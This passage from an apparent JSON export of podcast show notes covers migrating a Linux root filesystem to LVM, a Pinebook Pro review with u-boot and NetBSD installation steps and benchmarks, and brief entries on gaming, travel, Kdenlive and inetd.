/boot/initrd.img-5.19.0-76051900-generic\ncryptsetup: WARNING: Resume target cryptswap uses a key file\nkernelstub.Config    : INFO     Looking for configuration...\nkernelstub.Drive     : ERROR    Could not find a block device for the a partition. This is a critical error and we cannot continue.\nTraceback (most recent call last):\n  File "/usr/lib/python3/dist-packages/kernelstub/drive.py", line 56, in __init__\n    self.esp_fs = self.get_part_dev(self.esp_path)\n  File "/usr/lib/python3/dist-packages/kernelstub/drive.py", line 94, in get_part_dev\n    raise NoBlockDevError('Couldn\\'t find the block device for %s' % path)\nkernelstub.drive.NoBlockDevError: Couldn't find the block device for /boot/efi\nrun-parts: /etc/initramfs/post-update.d//zz-kernelstub exited with return code 174\n\nroot@it05:/# lsblk -f\nNAME FSTYPE FSVER LABEL UUID                                   FSAVAIL FSUSE% MOUNTPOINTS\nsda\n├─sda1\n│    vfat   FAT32       D499-28CF\n├─sda2\n│    vfat   FAT32       D499-2B97\n├─sda3\n│    ext4   1.0         9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n└─sda4\n     swap   1           1758e7a0-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n  └─cryptswap\n     swap   1     cryptswap\n                        e874c9cc-xxxx-xxxx-xxxx-xxxxxxxxxxxx                  [SWAP]\nsdb  LVM2_m LVM2        wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n└─workvg-root\n     ext4   1.0         9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx    448.6G    46% /\n\nroot@it05:/# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/mapper/workvg-root  916G  421G  449G  49% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n\nroot@it05:/# mount /dev/sda1 /boot/efi\n\nroot@it05:/# update-initramfs -u\n\nupdate-initramfs: Generating /boot/initrd.img-5.19.0-76051900-generic\ncryptsetup: WARNING: Resume target cryptswap uses a key file\nkernelstub.Config    : INFO     Looking for configuration...\nkernelstub           : INFO     System information:\n\n    OS:..................Pop!_OS 22.04\n    Root partition:....../dev/dm-1\n    Root FS UUID:........9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n    ESP Path:............/boot/efi\n    ESP Partition:......./dev/sda1\n    ESP Partition #:.....1\n    NVRAM entry #:.......-1\n    Boot Variable #:.....0000\n    Kernel Boot Options:.quiet loglevel=0 systemd.show_status=false splash\n    Kernel Image Path:.../boot/vmlinuz-5.19.0-76051900-generic\n    Initrd Image Path:.../boot/initrd.img-5.19.0-76051900-generic\n    Force-overwrite:.....False\n\nkernelstub.Installer : INFO     Copying Kernel into ESP\nkernelstub.Installer : INFO     Copying initrd.img into ESP\nkernelstub.Installer : INFO     Setting up loader.conf configuration\nkernelstub.Installer : INFO     Making entry file for Pop!_OS\nkernelstub.Installer : INFO     Backing up old kernel\nkernelstub.Installer : INFO     Making entry file for Pop!_OS
                                                            \n

                                                            ok, moment of truth, can i reboot into the new root filesystem

                                                            \n
                                                            root@it05:/# shutdown -r now\nRunning in chroot, ignoring request.\n\nroot@it05:/# exit\nroot@work# shutdown -r now
                                                            \n

                                                            Whoot! Success. Booted right back up, and can verify running from new\nLV

                                                            \n
                                                            rhorning@icon-n.com@it05:~$ df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/mapper/workvg-root  916G  421G  449G  49% /\n/dev/sda1                497M  373M  125M  76% /boot/efi
                                                            \n

                                                            Next step, add the original root partition (/dev/sda3) to the volume\ngroup so there is 1.5Gb available to the filesystem

                                                            \n
                                                            root@work# pvcreate /dev/sda3\nWARNING: ext4 signature detected on /dev/sda3 at offset 1080. Wipe it? [y/n]: y\n  Wiping ext4 signature on /dev/sda3.\n  Physical volume "/dev/sda3" successfully created.\n\nroot@work# vgextend workvg /dev/sda3\n  Volume group "workvg" successfully extended\n\nroot@work# vgdisplay\n  --- Volume group ---\n  VG Name               workvg\n  System ID\n  Format                lvm2\n  Metadata Areas        2\n  Metadata Sequence No  4\n  VG Access             read/write\n  VG Status             resizable\n  MAX LV                0\n  Cur LV                1\n  Open LV               1\n  Max PV                0\n  Cur PV                2\n  Act PV                2\n  VG Size               <1.36 TiB\n  PE Size               4.00 MiB\n  Total PE              355528\n  Alloc PE / Size       238467 / 931.51 GiB\n  Free  PE / Size       117061 / <457.27 GiB\n  VG UUID               67DSwP-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 1\n  LV Size                931.51 GiB\n  Current LE             238467\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:0\n\nroot@work# lvextend -l +100%FREE /dev/workvg/root\n  Size of logical volume workvg/root changed from 931.51 GiB (238467 extents) to <1.36 TiB (355528 extents).\n  Logical volume workvg/root successfully resized.\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 1\n  LV Size                <1.36 TiB\n  Current LE             355528\n  Segments               2\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:0\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n/dev/mapper/workvg-root  916G  421G  449G  49% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    5.0M     0  5.0M   0% /run/lock\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\ntmpfs                    7.8G     0  7.8G   0% /run/qemu\ntmpfs                    1.6G  1.7M  1.6G   1% /run/user/1202401106\n\nroot@work# resize2fs /dev/mapper/workvg-root\nresize2fs 1.46.5 (30-Dec-2021)\nFilesystem at /dev/mapper/workvg-root is mounted on /; on-line resizing required\nold_desc_blocks = 117, new_desc_blocks = 174\nThe filesystem on /dev/mapper/workvg-root is now 364060672 (4k) blocks long.\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n/dev/mapper/workvg-root  1.4T  421G  881G  33% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    5.0M     0  5.0M   0% /run/lock\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\ntmpfs                    7.8G     0  7.8G   0% /run/qemu\ntmpfs                    1.6G  1.7M  1.6G   1% /run/user/1202401106\n
                                                            \n

                                                            References

                                                            \n
                                                              \n
                                                            • Move\ndata from regular partition to lvm; Viewed on 2022-10-18
                                                            • \n
                                                            • How\nto Create LVM Partition in Linux – LVM Tutorial; Viewed on\n2022-10-18
                                                            • \n
                                                            • 'lvextend -l\n100%FREE' resizing to the number of free extents rather than adding them\nto the current size in RHEL; Viewed on 2022-10-18
                                                            • \n
                                                            • Best\nPractice for Mounting an LVM Logical Volume with /etc/fstab; Viewed\non 2022-10-18
                                                            • \n
                                                            • Can't\nupdate kernel and initramfs; Viewed on 2022-1018
                                                            • \n
                                                            • Crucial\nMX500 1TB 3D NAND SATA 2.5-inch; Viewed on 2022-10-18
                                                            • \n
                                                            • Corsair\nDual SSD Mounting Bracket (3.5” Internal Drive Bay to 2.5\", Easy\nInstallation) ; Viewed on 2022-10-18
                                                            • \n
                                                            \n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"LVM, Linux Volume Management, hard drive, SSD","version":0,"downloads":0,"valid":1}, {"id":3728,"date":"2022-11-16","title":"Pinebook Pro review","duration":2917,"summary":"I talk about the Pinebook Pro (and bricking various other arm devices)","notes":"

                                                            Why the PBP?

                                                            \n

                                                            Lately I've been thinking a lot about power consumption when it comes\nto computing. Intuitively, I know that arm devices pull significantly\nless power than amd64 machines but I've never really tested this in the\nreal world. So, some preliminary power consumption stats:

                                                            \n
                                                              \n
                                                            • big amd64 laptops (thinkpad x220 and t490) pull at most 65\nwatts
                                                            • \n
                                                            • small arm SOCs typically pull at most 15 watts
                                                            • \n
                                                            • most android phones pull at most 18 watts
                                                            • \n
                                                            • Pentium 4 pulls at most 250 watts
                                                            • \n
                                                            \n

                                                            These numbers are fairly easy to find: just look at the power supply\nfor a MAXIMUM OUTPUT value or something similar. This is the point at\nwhich the power supply fails so we can safely assume this is the maximum\npower draw for any given computer. Of course, this is DC output and not\nAC output and anyone who knows anything about electricity knows that\nconverting AC to DC is expensive but these values are useful as a\ngeneral estimate. I\nwrote something similar about computer power consumption some time\nago

                                                            \n

                                                            My goal in all of this was to find a self contained computer that\nruns UNIX, doesn't take much power, isn't a consumption rectangle\n(smartphone), and can be charged from both AC with a rectifier and\nstored DC without an inverter. Charging from existing stored power was\nprobably the most novel consideration. Everything else is a given.

                                                            \n

                                                            A few obvious answers come to mind:

                                                            \n
                                                              \n
                                                            • Raspberry\nPi 4 is not self contained and using a pitop in public is a good way\nto get the bomb squad called on you
                                                            • \n
                                                            • beaglebone black is good\ntoo but neither self contained nor popular enough for wide OS\nsupport
                                                            • \n
                                                            • Pinebook\nPro is self contained and is supported by some of the operating\nsystems I'd like to run
                                                            • \n
                                                            \n

                                                            The PBP is an obvious choice. It's an open hardware ARM laptop that\ncan be charged via a barrel cable (AC->DC) or via USB-C. Charging\nfrom USB-C is a very useful feature because it means I can easily choose\nbetween charging from the mains where efficiency loss is acceptable and\ncharging from a DC source where efficiency loss is unacceptable.

                                                            \n

                                                            The actual use case is \"what computer can I run off of a old car\nbattery or the alternator in my car without burning power with an\ninverter?\". I'll revisit this use case in a later section.

                                                            \n
                                                            \n

                                                            Initial notes

                                                            \n

                                                            I took these notes immediately upon opening the PBP. They remain\nunedited because I want to be honest on the first impressions.

                                                            \n

                                                            shipping

                                                            \n

                                                            I was worried about DHL dropping my package out of a plane. Or\nleaving it out in the rain. Or having one of the employees use it as a\nsoccer ball. Or having the thing get stuck in customs. It ended up\narriving safely and was packaged well. Two boxes within a padded\nenvelope within another envelope. Surprising for DHL.

                                                            \n

                                                            hardware impressions

                                                            \n
                                                              \n
                                                            • Touchpad sucks and trackpad scrolling sucks (it's probably just\nKDE). Installing synaptics drivers allegedly fix this problem.
                                                            • \n
                                                            • keyboard is comfortable, clickly, full sized despite being a\nchicklet keyboard. I don't like that the <ctl> and\n<fn> keys are backwards when compared to a thinkpad.\nI really like the thinkpad keyboard layout.
                                                            • \n
                                                            • Shift+enter seems to type the M character. My muscle\nmemory for key chording is now broken. This appears to be a fundamental\ndesign flaw with KDE.
                                                            • \n
                                                            • Passively cooled, gets a bit warm.
                                                            • \n
                                                            • display is sharp (IPS) and almost too high resolution for my eyes\n(1920x1080 instead of 1366x768). I can fix this in software.
                                                            • \n
                                                            • enabling/disabling mic/wifi/camera through the keyboard is confusing\nand (seemingly) does not perform the \"kill switch\" via hotplugging like\nthe Thinkpad X220's wifi kill switch.
                                                            • \n
                                                            • Charger comes with both US and EU prongs.
                                                            • \n
                                                            \n

                                                            software impressions

                                                            \n
                                                              \n
                                                            • it's manjaro :(
                                                            • \n
                                                            • it's KDE :(
                                                            • \n
                                                            • it comes with mpv :)
                                                            • \n
                                                            • bluez instead of bluetoothd :(
                                                            • \n
                                                            • firewalld instead of UFW <3
                                                            • \n
                                                            • no vim, no vi, and no ed on the standard installation so this is\ncompletely useless and unusable.
                                                            • \n
                                                            • firefox config uses google as the default search engine
                                                            • \n
                                                            • It didn't come with RHEL7 or so obviously I hate it
                                                            • \n
                                                            • It didn't come with BSD so obviously I hate it
                                                            • \n
                                                            • Terminal color scheme is one of the worst I've seen in my life
                                                            • \n
                                                            \n

                                                            Secondary notes

                                                            \n

                                                            From my next available free day, largely unedited:

                                                            \n

                                                            software

                                                            \n
                                                              \n
                                                            • I still don't like manjaro. I still don't like pacman.
                                                            • \n
                                                            • On the default manjaro installation, the\nmanjaro-arm-flasher tool seems to create bootable SD cards\n(nice for the insurance policy)
                                                            • \n
                                                            • when updating (lots of network IO throughput), the wireless card\nseems to stutter.
                                                            • \n
                                                            • I Can't boot another OS using the stock firmware. I need to flash\nthe \"SPI flash\" (fancy ARM guy terminology for nvram) with newer\nversions of u-boot that are more hacker friendly (ie the ones that don't\nrequire a serial display).
                                                            • \n
                                                            \n

                                                            hardware

                                                            \n
                                                              \n
                                                            • The emmc is toggable with a DIP switch on the mainboard. My\nmainboard looks slightly different than the images on the wiki but\nall of the components are generally in the same location
                                                            • \n
                                                            \n
                                                            \n

                                                            Technical stuff

                                                            \n

                                                            upgrading the u-boot on\nstorage devices

                                                            \n

                                                            It seems that the PBP has three possible locations for the\nbootloader: nvram, EMMC, and sd card. The boot process is something\nlike:

                                                            \n
                                                              \n
                                                            1. load bootloader from nvram
                                                            2. \n
                                                            3. query storage device
                                                            4. \n
                                                            5. if the storage device has it's own bootloader, chainload that
                                                            6. \n
                                                            7. otherwise, use the bootloader from nvram
                                                            8. \n
                                                            \n

                                                            It's u-boot soup but upgrading the bootloader on the storage device\nseems to marginally increase stability.

                                                            \n
                                                            $ sudo pacman -Syuu\n$ sudo pacman -S uboot-pinebookpro\n$ sudo dd if=/boot/idbloader.img of=/dev/mmcblk2 seek=64 conv=notrunc,fsync\n$ sudo dd if=/boot/u-boot.itb of=/dev/mmcblk2 seek=16384 conv=notrunc,fsync\n$ sudo sync\n$ sudo reboot
                                                            \n

                                                            Flashing\nu-boot externally and buying more stuff

                                                            \n

                                                            I\nfound some fedora specific instructions that are actually just PBP\nspecific Using the u-boot and idb from fedora, The screen flashes\nwith garbled nonsense when loading a kernel but at least I can see the\noutput from u-boot. Different kernels show different garbled nonsense so\nit's a bit of fun. The keyboard does not work in u-boot. The system will\nnow also boot from the SD card (although it seems the system will always\nboot from EMMC once before allowing booting from the sd card).

                                                            \n

                                                            Armbian and NetBSD seem to boot just fine from the sd card. I'm\nkeeping a sd card with the stock Manjaro image as an insurance\npolicy.

                                                            \n

                                                            Because the keyboard does not work in u-boot, I ordered the pine64\nserial over 3.5mm audio jack cable so that I can (hopefully) fix this in\nthe future. The system still boots automatically but I'd really like to\npass options to my bootloader to do things like enter single user mode,\nrun an fsck at boot time, boot various versions of kernels, etc.

                                                            \n
                                                            \n

                                                            OS Support

                                                            \n

                                                            I will not use Arch. You cannot force me. You cannot coerce me. You\ncannot even bribe me. I will use anything other than Arch as long as\nit's not ubuntu.

                                                            \n

                                                            Sadly, BSD is not \"super easy\" on the PBP like most other SBCs but\nI've never stepped down from a challenge. Even sadder, no Plan 9 ported\nto PBP either. Running a \"distro based on a distro based on a distro\nbased on arch\" is the antithesis of my computing philosophy. Luckily\nenough, there is a big list\nof operating systems that run on the PBP. Most of these are distros\nbased on distros based on distros. OpenBSD instantly appeals to me but\nthere is no support for graphical TTYs as of yet (installation must be\nperformed over serial) so this is a non-starter. NetBSD also appeals to\nme but no wifi in 9.x, only in -CURRENT. A wide selection of actually\nusable software, take your pick.

                                                            \n

                                                            Official\nManjaro images with a variety of DEs also exist for when you lost\n(or corrupted) your insurance policy SD card.

                                                            \n

                                                            \n
                                                            \n

                                                            NetBSD

                                                            \n

                                                            NetBSD seems to work just fine but 9.x doesn't yet ship the broadcom\ndrivers. These drivers are present in the -CURRENT branch but the issue\nwith -CURRENT is that it's not entirely stable. Additionally, the\nbootloader does not come with the system.

                                                            \n

                                                            u-boot\nfrom pkgsrc

                                                            \n

                                                            aarch64\nbuild of NetBSD

                                                            \n

                                                            To get around the no wifi issue, a dongle is required. I use an\nAtheros AR9271 USB->WiFi dongle. To get around no RJ45\nport, I use a USB->RJ45 adapter. I have an ASIX ax88772\ndongle (UGREEN branded but I'm not sure that matters). Both of these\ndongles seem to work with every single operating system and hardware\nconfiguration I've tried them with.

                                                            \n

                                                            Arm is strange, so we must boot from an SD card (running any OS, in\nmy case NetBSD) in order to burn an image to the internal storage.

                                                            \n

                                                            From a separate machine, the options passed to dd\nare important.

                                                            \n
                                                            $ wget https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\n$ wget http://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/x86_64/.9.0_2022Q2_pkgbuild/All/u-boot-pinebook-pro-2022.01nb1.tgz\n$ gunzip ./arm64.img\n$ tar xzf ./u-boot-pinebook-pro-2022.01nb1.tgz\n$ sudo umount /dev/sdx*\n$ sudo dd if=./arm64.img of=/dev/sdx status=progress conv=fsync bs=1M\n$ sudo sync\n$ sudo dd if=./u-boot-pinebook-pro-2022.01nb1/share/u-boot/pinebook-pro/rksd_loader.img of=/dev/sdx seek=64 conv=sync status=progress\n$ sudo sync\n$ sudo eject /dev/sdx
                                                            \n

                                                            And, to install NetBSD to the internal EMMC, the process is similar.\nNetBSD's version of dd varies slightly but the options\npassed are important.

                                                            \n
                                                            # ftp https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\n# gunzip ./arm64.img\n# dd if=./arm64.img of=/dev/rl0d conv=sync bs=1m\n# sync\n# PKG_PATH="http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/9.3/All/" pkg_add pkgin\n# pkgin install u-boot-pinebook-pro\n# sudo dd if=/usr/pkg/share/u-boot/pinebook-pro/rksd_loader.img of=/dev/rld0 seek=64 conv=sync\n# sync\n# reboot
                                                            \n

                                                            And, some more desktop centric things after booting from EMMC:

                                                            \n
                                                            # passwd\n# echo "postfix=NO" >> /etc/rc.conf\n# echo "xdm=YES" >> /etc/rc.conf
                                                            \n

                                                            Installing pkgin (and some packages):

                                                            \n
                                                            # PKG_PATH="https://cdn.NetBSD.org/pub/pkgsrc/packages/NetBSD/aarch64/9.3/All/" pkg_add pkgin\n# sed -i'' -e 's/9.0/9.3/g' /usr/pkg/etc/pkgin/repositories.conf\n# pkgin install vim git mozilla-rootcerts mozilla-rootcerts-openssl
                                                            \n

                                                            The rest is NetBSD specific and I've avoided getting into it here\nbecause it doesn't have anything to do with the PBP.

                                                            \n
                                                            \n

                                                            Performance

                                                            \n

                                                            The PBP has 6 cores (2 fast, 4 slow) and 4gb ram. The cpu is fairly\nslow but entirely usable. On large procedural jobs like software\ncompilation, it's painful. For concurrent jobs, it's mostly fine.

                                                            \n

                                                            Compiler performance

                                                            \n

                                                            As expected, the PBP is slower when it comes to compilation than a\nstandard amd64 machine. Surprisingly enough, NetBSD was significantly\nslower than Manjaro. This is likely due to the Linux kernel knowing how\nto better handle multiple CPUs with varying speeds.

                                                            \n

                                                            sequential jobs

                                                            \n

                                                            I used plan9port\nbecause it's a fairly large but portable project. Compilation is largely\nsequential, invokes many standard shell utilities, and involves extra\npreprocessor steps to convert 9 C into something a standard UNIX\ncompiler like GCC or Clang can compile.

                                                            \n

                                                            On a T490 - 8th gen Core i7 (4 cores, 8 threads, 4.8GHz, vPro for\nmaximum thermal output):

                                                            \n
                                                            real    232.51 (~4 minutes)\nuser    188.07\nsys     65.01
                                                            \n

                                                            On an X220 - 2nd gen Core i5 (2 cores, 4 threads, 2.6GHz, vPro for\nmaximum thermal output):

                                                            \n
                                                            real    249.98 (~4 minutes)\nuser    220.33\nsys     65.52
                                                            \n

                                                            On the PBP (2 2.0GHz cores + 4 1.5GHz cores, no CPU fan for maximum\nthermal output) (running stock Manjaro image):

                                                            \n
                                                            real    1355.27 (~22 minutes)\nuser    1178.47\nsys     347.71
                                                            \n

                                                            On the PBP (2 2.0GHz cores + 4 1.5GHz cores, no CPU fan for maximum\nthermal output) (running NetBSD):

                                                            \n
                                                            real    3715.24 (~60 minutes)\nuser    1946.84\nsys     3435.29
                                                            \n

                                                            concurrent jobs

                                                            \n

                                                            I used vim because it can be\nbuilt in parallel without causing any issues.

                                                            \n

                                                            Same 8th gen Core i7 (make -j7):

                                                            \n
                                                            real    27.36\nuser    170.21\nsys     11.30
                                                            \n

                                                            Same 2nd gen Core i5 (make -j7, approaching the\nexponential decay of marginal returns on concurrent processing):

                                                            \n
                                                            real    77.07\nuser    292.46\nsys     10.00
                                                            \n

                                                            On the PBP (make -j7) (running stock\nManjaro image):

                                                            \n
                                                            real    220.60\nuser    1145.40\nsys     59.90
                                                            \n

                                                            On the PBP (make -j7) (running\nNetBSD):

                                                            \n
                                                            real    319.30\nuser    1560.87\nsys     255.33
                                                            \n

                                                            Web browser testing

                                                            \n

                                                            Because the PBP has similar hardware specifications to the adware\nsubsidized craptops sold by google, I thought it would be a good idea to\ncompare web browser performance on these systems as well.

                                                            \n

                                                            I found a few web browser\nbenchmark tests at browserbench.org. They're probably snakeoil but\nrunning JS tests is a good way to put a number on how performant\n$browser on $hardware is.

                                                            \n

                                                            Scores from the JetStream2 test

                                                            \n
                                                            \n

                                                            JetStream 2.1 is a JavaScript and WebAssembly benchmark suite focused\non the most advanced web applications. It rewards browsers that start up\nquickly, execute code quickly, and run smoothly. For more information,\nread the in-depth analysis. Bigger scores are better.

                                                            \n
                                                            \n
                                                            Thinkpad T490   79.555\nThinkpad X220   39.983\nPBP (manjaro)   19.148
                                                            \n

                                                            I don't have an chromesumption book to test against, so all I can say\nis that the PBP is slower than a workhorse amd64 machine when it comes\nto interpreting javascript.

                                                            \n
                                                            \n

                                                            Conclusion

                                                            \n

                                                            Did the PBP fulfill it's\nneeds?

                                                            \n

                                                            The intended use case was \"UNIX machine I can charge from an existing\nbattery or alternator\". This immediately invokes ideas of \"why would I\neven need wifi support?\"

                                                            \n

                                                            Ultimately, I ended up flashing a bad image to the SPI flash chip and\nI cannot get the system to boot (or even show signs of life). I have\nattempted to enter maskrom mode to re-flash the SPI but I am\nunsuccessful. There are a few other things I need to try. I'll update\nthis if I ever get it functional again.

                                                            \n

                                                            I did not have the opportunity to test the machine in the exact\nenvironment I got it for but it was fun before I bricked it. Again, a\nplace for updates.

                                                            \n

                                                            Who is the PBP for?

                                                            \n

                                                            HACKERS!

                                                            \n

                                                            Obviously, the types of people who are interested in pine64 devices\nand similar SBCs are already computer owners (if not computer hoarders).\nIt's unlikely that the PBP will become my (or anyone's) primary computer\nbut that doesn't mean that it's useless. The entire point of arm SBCs is\nto have fun so why not have fun?

                                                            \n

                                                            Just don't flash your SPI if you want it to work as expected.

                                                            \n
                                                            \n

                                                            Some final thoughts on\nopen hardware

                                                            \n

                                                            Oftentimes, before purchasing freedom centric hardware, I search for\na few reviews so that I can set my expectations correctly. Oftentimes\nthese reviews are very epidermal: they're not even skin deep.\nThese reviewers are consumers producing reviews for a consumer audience,\nnot hackers producing in-depth reviews for hacker audience. These types\nof reviews are frustrating for me but fundamental flaws seem to shine\nthrough the lack of thoroughness.

                                                            \n

                                                            I think that the general negative reviews on open hardware largely\nstem from unrealistic expectations. The community seems to over-hype\nmany of these devices out of ignorance, stating that $freedomDevice is\nthe $proprietaryAlternative killer, the end all be all device that will\nusher in the year of the Linux $deviceCategory. Oftentimes, it seems\nlike the high expectations fall flat when confronted with the reality of\nopen hardware: it's either way too expensive or way too\nexperimental.

                                                            \n

                                                            It seems like many of these devices are lacking both developer time\nand users who are both enthusiastic and knowledgeable. Pitfalls of\nmobile UNIX include bad power management, difficulty hotplugging\nwireless chipsets, graphical interfaces attempting to cope with the fact\nthat they don't have a physical keyboard, etc. There is still much work\nto be done. As for users, it seems that the most enthusiastic users\nalways have the impression that $linuxDevice will have 1:1 feature\nparity with $proprietaryDevice. Maybe it's just that the loudest users\nare heard or that we only want to hear utopian dreams of a free software\nfuture.

                                                            \n

                                                            A prime example of this conflict between expectations and reality:\nLinux smartphones. It doesn't help when many linux smartphones over the\nyears were advertised as a viable android competitor rather than\nanything other than what they actually were: an arm board attached to a\ntouch screen and a modem.

                                                            \n

                                                            I oftentimes ask myself \"what is open source worth?\". How much money\nare you willing to throw at an idea you like? Surely, money thrown at an\nidea you like is being used better than money thrown at an idea you\ndon't like. In many cases, it seems like open hardware devices are more\nexpensive than their proprietary counterparts for a few reasons. The two\nlargest reasons are small batch manufacturing and the fact that open\nhardware isn't subsidized by pre-installed adware (in the case of nearly\nevery device that comes pre-loaded with proprietary software).

                                                            \n

                                                            What is open source worth? A few extra dollars, a few extra hours of\nconfiguration, a few extra papercuts, and a clean conscious knowing that\nI didn't pay for yet another windows license I will never use and will\nnever get a refund for. Open source is worth investing in because the,\nalbeit slow, improvements to open hardware and software have wider\nimplications than just \"buying a laptop with Linux pre installed\".

                                                            \n

                                                            Future projects

                                                            \n
                                                              \n
                                                            • something with the raspi
                                                            • \n
                                                            • NetBSD in depth
                                                            • \n
                                                            • \"why is my lightbulb running android?\" and other Internet-Of-Terror\nideas
                                                            • \n
                                                            • turning a router into a general purpose computing device (probably\nMIPS because where else am I going to find a MIPS CPU? Might as well do\nsomething novel instead of $arm-project-1209)
                                                            • \n
                                                            \n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Open Hardware, Pine64","version":0,"downloads":0,"valid":1}, {"id":3729,"date":"2022-11-17","title":"Contributing to SuperTuxKart","duration":914,"summary":"Explaining the workflow to contribute to this foss game with media assets","notes":"
                                                              \n
                                                            • Main website of the game https://supertuxkart.net

                                                            • \n
                                                            • Stk core engine (C++) https://github.com/supertuxkart/stk-code

                                                            • \n
                                                            • Tools for 2d and 3d production https://supertuxkart.net/Installing_Tools

                                                            • \n
                                                            • Media repo with all source files https://supertuxkart.net/Media_Repo

                                                            • \n
                                                            • Style guidelines to maintain visual consistency https://supertuxkart.net/Texture_Guidelines

                                                            • \n
                                                            • Addons website to publish your creation https://online.supertuxkart.net/

                                                            • \n
                                                            \n

                                                            This time I tried a \"car rambling podcast\", where I record while I\ndrive and stop the recording only when reaching the destination

                                                            \n","hostid":407,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"computer graphics,supertuxkart,audio production,assets,contribution,blender,3d model,krita,hand draw","version":0,"downloads":0,"valid":1}, {"id":3730,"date":"2022-11-18","title":"Into Arizona","duration":858,"summary":"Hitting our first major stop in Arizona.","notes":"

                                                            We get to our first major stop for a week in Topock, Arizona. From here we can check out places like Oatman, Arizona and Lake Havasu, Arizona. We make a few more mistakes, but learn from them.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, Arizona","version":0,"downloads":0,"valid":1}, {"id":3731,"date":"2022-11-21","title":"Speech recognition in Kdenlive","duration":332,"summary":"A brief description of how you can use speech recognition to transcribe your clips in Kdenlive","notes":"

                                                            Recently I returned to Kdenlive after about a 10-year break, and was\npleased to discover the speech recognition feature.

                                                            \n

                                                            https://docs.kdenlive.org/en/effects_and_compositions/speech_to_text.html#install-python

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"kdenlive,\"video editing\",\"speech recognition\"","version":0,"downloads":0,"valid":1}, {"id":3732,"date":"2022-11-22","title":"My experience owning an Atari Jaguar","duration":1976,"summary":"I talk about my experience with the Atari Jaguar and Jaguar CD","notes":"

                                                            My experience owning and playing the Atari Jaguar and Jaguar CD.

                                                            \n","hostid":412,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"atari jaguar, video games, atari","version":0,"downloads":0,"valid":1}, {"id":3733,"date":"2022-11-23","title":"Smite","duration":1738,"summary":"The battleground of the gods.","notes":"

                                                            Smite, the battleground of the\nGODS.

                                                            \n

                                                            SMITE is a free-to-play online MOBA (Multiplayer Online Battle Arena)\nand ARTS (action real-time strategy) game developed by Titan Forge Games\nand published by Hi-Rez Studios. The game is currently available on PC,\nXbox One, PlayStation 4 and Nintendo Switch. Players choose from a large\nselection of playable gods, immortals, and creatures from ancient\nmythology and join session-based arena combat. Each of the playable\ncharacters have their own unique abilities and fighting styles. This\nsession-based arena combat is mostly 5 players against another set of 5\nplayers, but there are several other Game Modes with different rules and\nobjectives, and the goal in most of them is to defeat the Titan located\nin the opposite team's base while protecting your own Titan.

                                                            \n

                                                            Smite wiki:\nThe most comprehensive source of SMITE information maintained by the\ncommunity.

                                                            \n

                                                            List of all in-game gods.\nLinks to Bastet & Ares.

                                                            \n

                                                            List of all in-game\nitems.

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Smite, MOBA, Arena, Bastet, Gaming","version":0,"downloads":0,"valid":1}, {"id":3734,"date":"2022-11-24","title":"Inetd: the internet super-server","duration":1008,"summary":"I talk about inetd and give an example of how to write a service for it","notes":"

                                                            Inetd, the internet\nsuper-server

                                                            \n

                                                            Inetd is slowly becoming one of my favorite daemons. It makes writing\nprograms that talk over the network super easy. Inetd handles all of the\nhard socket stuff and allows admins to write simple UNIX-ey programs.\nInetd is useful because it allows us to write services that only run\nwhen they are requested in order to reduce total system load.

                                                            \n

                                                            How inetd works

                                                            \n

                                                            Inetd can be conceptualized as a sort of \"wrapper daemon\". Inetd is\nalways running despite the fact that many of it's sub-services are\nnot always running.

                                                            \n

                                                            Inetd listens on a specific port. When it gets a request, it handles\nall of the hard socket parts. This request is then passed to one of our\ninetd services

                                                            \n

                                                            We will use a simple server that echoes the request back to the user\nas an example. We will call this inetd service\nechod

                                                            \n

                                                            Inetd passes requests to echod as text.\nechod will read from stdin and write to stdout. Everything\nwritten to stdout is passed to the client. echod will then\nexit.

                                                            \n

                                                            echo server example

                                                            \n

